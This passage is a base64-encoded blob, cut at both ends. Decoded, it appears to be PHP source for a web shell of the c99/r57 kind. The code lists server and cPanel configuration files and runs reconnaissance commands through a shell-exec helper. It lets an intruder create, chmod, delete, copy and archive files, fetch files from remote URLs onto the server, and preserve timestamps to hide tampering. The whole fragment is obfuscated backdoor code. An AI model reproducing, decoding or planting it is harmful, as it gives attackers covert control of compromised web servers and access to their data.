Rvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30KICB9CiAgZWNobyAiPC90ZD48L3RyPiI7CiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOwogIGlmICghJHdpbikgewogICAgJHYgPSBhcnJheSgKICAgICAgICBhcnJheSgiVXNlciBEb21haW5zIiwiL2V0Yy91c2VyZG9tYWlucyIpLAogICAgICAgIGFycmF5KCJDcGFuZWwgQ29uZmlnIiwiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSwKICAgICAgICBhcnJheSgiQXBhY2hlIENvbmZpZyIsIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpLAogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksCiAgICAgICAgYXJyYXkoIlN5c2xvZyBDb25maWciLCIvZXRjL3N5c2xvZy5jb25mIiksCiAgICAgICAgYXJyYXkoIk1lc3NhZ2Ugb2YgVGhlIERheSIsIi9ldGMvbW90ZCIpLAogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQogICAgKTsKICAgICRzZXAgPSAiLyI7CiAgfQogIGVsc2UgewogICAgJHdpbmRpciA9ICRfU0VSVkVSWyJXSU5ESVIiXTsKICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xcIjsKICAgICR2ID0gYXJyYXkoCiAgICAgICAgYXJyYXkoIkhvc3RzIiwkZXRjZGlyLiJob3N0cyIpLAogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwKICAgICAgICBhcnJheSgiTE0gSG9zdHMiLCRldGNkaXIuImxtaG9zdHMuc2FtIiksCiAgICApOwogICAgJHNlcCA9ICJcXCI7CiAgfQogIGZvcmVhY2ggKCR2IGFzICRzZWNfYXJyKSB7CiAgICAkc2VjX2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOwogICAgJHNlY19kID0gcnRyaW0oJHNlY19hcnJbMV0sJHNlY19mKTsKICAgICRzZWNfZnVsbCA9ICRzZWNfZC4kc2VjX2Y7CiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7CiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHNlY19mdWxsKSkgewogICAgICBlY2hvICIgWyA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9JHNlY19mJmQ9Ii51cmxlbmNvZGUoJHNlY19kKS4iJmZ0PXR4dFwiPjx1PjxiPiIuJHNlY19hcnJbMF0uIjwvYj48L3U+PC9hPiBdICI7CiAgICB9CiAgfQogIGVjaG8gIjwvdGQ+PC90cj4iOwoKICBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHsKICAgIGlmICghZW1wdHkoJHZhbHVlKSkgewogICAgICBlY2hvICI8dHI+PHRkPiIuJG5hbWUuIjwvdGQ+PHRkPjxwcmU+Ii53b3Jkd3JhcCgkdmFsdWUsMTAwKS4iPC9wcmU+PC90ZD48L3RyPiI7CiAgICB9CiAgfQogIGlmICghJHdpbikgewogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgVmVyc2lvbiIsbXlzaGVsbGV4ZWMoInN5c2N0bCAtYSB8IGdyZXAgdmVyc2lvbiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIE5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJDUFUgSW5mbyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOwogICAgZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiSEREIFNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiTGlzdCBvZiBBdHRyaWJ1dGVzIixteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOwogICAgZGlzcGxheXNlY2luZm8oIk1vdW50IE9wdGlvbnMiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOwogICAgZGlzcGxheXNlY2luZm8oImx5bnggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygibGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOwogICAgZGlzcGxheXNlY2luZm8oImZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJHRVQgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIEdFVCIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOwogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIEFwYWNoZT8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOwogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBteS5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOwogIH0KICBlbHNlIHsKICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygidmVyIikpOwogICAgZGlzcGxheXNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLG15c2hlbGxleGVjKCJuZXQgYWNjb3VudHMiKSk7CiAgfQogIGVjaG8gIjwvdGFibGU+XG4iOwp9CmlmICgkeCA9PSAibWtmaWxlIikgewppZiAoJG1rZmlsZSAhPSAkZCkgewogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWFkeSBleGlzdHMhIjt9CiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQhIjt9CiAgZWxzZSB7JHggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30KfQplbHNlIHskeCA9ICRkc3BhY3QgPSAibHMiO30KCn0KaWYgKCR4ID09ICJjaG1vZCIpIHsKICAkbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7CiAgaWYgKCEkbW9kZSkge2VjaG8gIjxiPkNoYW5nZSBmaWxlLW1vZGUgd2l0aCBlcnJvcjo8L2I+IGNhbid0IGdldCBjdXJyZW50IHZhbHVlLiI7fQogIGVsc2UgewogICAgJGZvcm0gPSBUUlVFOwogICAgaWYgKCRjaG1vZF9zdWJtaXQpCiAgewogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7CiAgIGlmIChjaG1vZCgkZC4kZiwkb2N0ZXQpKSB7JHggPSAibHMiOyAkZm9ybSA9IEZBTFNFOyAkZXJyID0gIiI7fQogICBlbHNlIHskZXJyID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9CiAgfQogIGlmICgkZm9ybSkKICB7CiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsKICAgZWNobyAiPGI+Q2hhbmdpbmcgZmlsZS1tb2RlICgiLiRkLiRmLiIpLCAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiIgKCIuc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGQuJGYpKSwtNCw0KS4iKTwvYj48YnI+Ii4oJGVycj8iPGI+RXJyb3I6PC9iPiAiLiRlcnI6IiIpLiI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9Y2htb2Q+PHRhYmxlIGFsaWduPWxlZnQgd2lkdGg9MzAwIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9NT48dHI+PHRkPjxiPk93bmVyPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3JdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC90ZD48dGQ+PGI+R3JvdXA8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbcl0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48dGQ+PGI+V29ybGQ8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbcl0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9Y2htb2Rfc3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOwogIH0KfQp9CmlmICgkeCA9PSAidXBsb2FkIikgewogICR1cGxvYWRtZXNzID0gIiI7CiAgJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHVwbG9hZHBhdGgpOwogIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30KICBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR1cGxvYWRwYXRoIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsKICAgIGdsb2JhbCAkX0ZJTEVTOwogICAgJHVwbG9hZGZpbGUgPSAkX0ZJTEVTWyJ1cGxvYWRmaWxlIl07CiAgICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkgewogICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30KICAgICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQogICAgICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgewogICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+IjsKICAgICAgfQogICAgICBlbHNlIHsgJHVwbG9hZG1lc3MgLj0gIkZpbGUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5ITxicj4iLiR1cGxvYWRwYXRoLiRkZXN0aW47IH0KICAgIH0KICAgIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKSB7CiAgICAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZW5hbWU7fQogICAgICBlbHNlIHsKICAgICAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7CiAgICAgICAgJGRlc3RpbiA9ICRkZXN0aW5bY291bnQoJGRlc3RpbiktMV07CiAgICAgICAgaWYgKGVtcHR5KCRkZXN0aW4pKSB7CiAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAkYiA9ICIiOwogICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHsKICAgICAgICAgICAgaWYgKCRpID4gMCkgeyRiID0gIl8iLiRpO30KICAgICAgICAgICAgJGRlc3RpbiA9ICJ1cGxvYWQiLiRiOwogICAgICAgICAgICAkaSsrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29ycmVjdCBVUkwhPC9iPiI7fQogICAgICBlbHNlIHsKICAgICAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsKICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkdXJsKTsKICAgICAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7CiAgICAgICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSEiO30KICAgICAgICBlbHNlIHsKICAgICAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJHVwbG9hZHBhdGguJGRlc3Rpbik7fQogICAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOwogICAgICAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOwogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkZpbGUgc2F2ZWQgZnJvbSAiLiR1cGxvYWR1cmwuIiAhIjsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgIGVsc2UgeyBlY2hvICJObyBmaWxlIHRvIHVwbG9hZCEiOyB9CiAgfQogIGlmICgkbWluaWZvcm0pIHsKICAgIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOwogICAgJHggPSAibHMiOwogIH0KICBlbHNlIHsKICAgIGVjaG8gIjx0YWJsZT48dHI+PHRkIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+Ii4KICAgICAgICAgIi46IEZpbGUgVXBsb2FkIDouPC90ZD4iLgogICAgICAgICAiPHRkIGNvbHNwYW49Mj4iLiR1cGxvYWRtZXNzLiI8L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRzdXJsLiJ4PXVwbG9hZCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+Ii4KICAgICAgICAgIkZyb20gWW91ciBDb21wdXRlcjo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjwvdGQ+PC90cj4iLgogICAgICAgICAiPHRyPjx0ZD5Gcm9tIFVSTDo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjwvdGQ+PC90cj4iLgogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRGlyZWN0b3J5OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkcGF0aFwiIHNpemU9XCI3MFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjwvdGQ+PC90cj4iLgogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRmlsZSBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PC90ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+IENvbnZlcnQgZmlsZSBuYW1lIHRvIGxvd2VyY2FzZTwvdGQ+PC90cj4iLgogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4iLgogICAgICAgICAiPC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQp9CmlmICgkeCA9PSAiZGVsZXRlIikgewogICRkZWxlcnIgPSAiIjsKICBmb3JlYWNoICgkYWN0Ym94IGFzICR2KSB7CiAgICAkcmVzdWx0ID0gRkFMU0U7CiAgICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOwogICAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30KICB9CiAgaWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkRlbGV0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kZGVsZXJyO30KICAkeCA9ICJscyI7Cn0KaWYgKCEkdXNlZnNidWZmKSB7CiAgaWYgKCgkeCA9PSAicGFzdGUiKSBvciAoJHggPT0gImNvcHkiKSBvciAoJHggPT0gImN1dCIpIG9yICgkeCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlZnNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30KfQplbHNlIHsKICBpZiAoJHggPT0gImNvcHkiKSB7JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJGFjdGJveCk7IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7IH0KICBlbHNlaWYgKCR4ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9CiAgZWxzZWlmICgkeCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9CiAgaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpO30KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsKICAgICRwc3RlcnIgPSAiIjsKICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgewogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICAgICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9CiAgICB9CiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgewogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogICAgfQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7CiAgICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9CiAgICAkeCA9ICJscyI7CiAgfQogIGVsc2VpZiAoJGFjdGFyY2J1ZmYpIHsKICAgICRhcmNlcnIgPSAiIjsKICAgIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30KICAgIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQogICAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNmenYiO30KICAgICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOwogICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOwogICAgZm9yZWFjaCgkb2JqZWN0cyBhcyAkdikgewogICAgICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7CiAgICAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30KICAgICAgaWYgKGlzX2RpcigkdikpIHsKICAgICAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICAgJHYgLj0gIioiOwogICAgICB9CiAgICAgICRjbWRsaW5lIC49ICIgIi4kdjsKICAgIH0KICAgICR0bXAgPSByZWFscGF0aCgiLiIpOwogICAgY2hkaXIoJGQpOwogICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWRsaW5lKTsKICAgIGNoZGlyKCR0bXApOwogICAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9CiAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7CiAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogICAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7CiAgICAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9CiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgICB9CiAgICBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICAgIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iLiRhcmNlcnI7fQogICAgJHggPSAibHMiOwogIH0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsKICAgICRwc3RlcnIgPSAiIjsKICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgewogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgICAgIGlmICghZnNfY29weV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30KICAgIH0KICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7CiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITx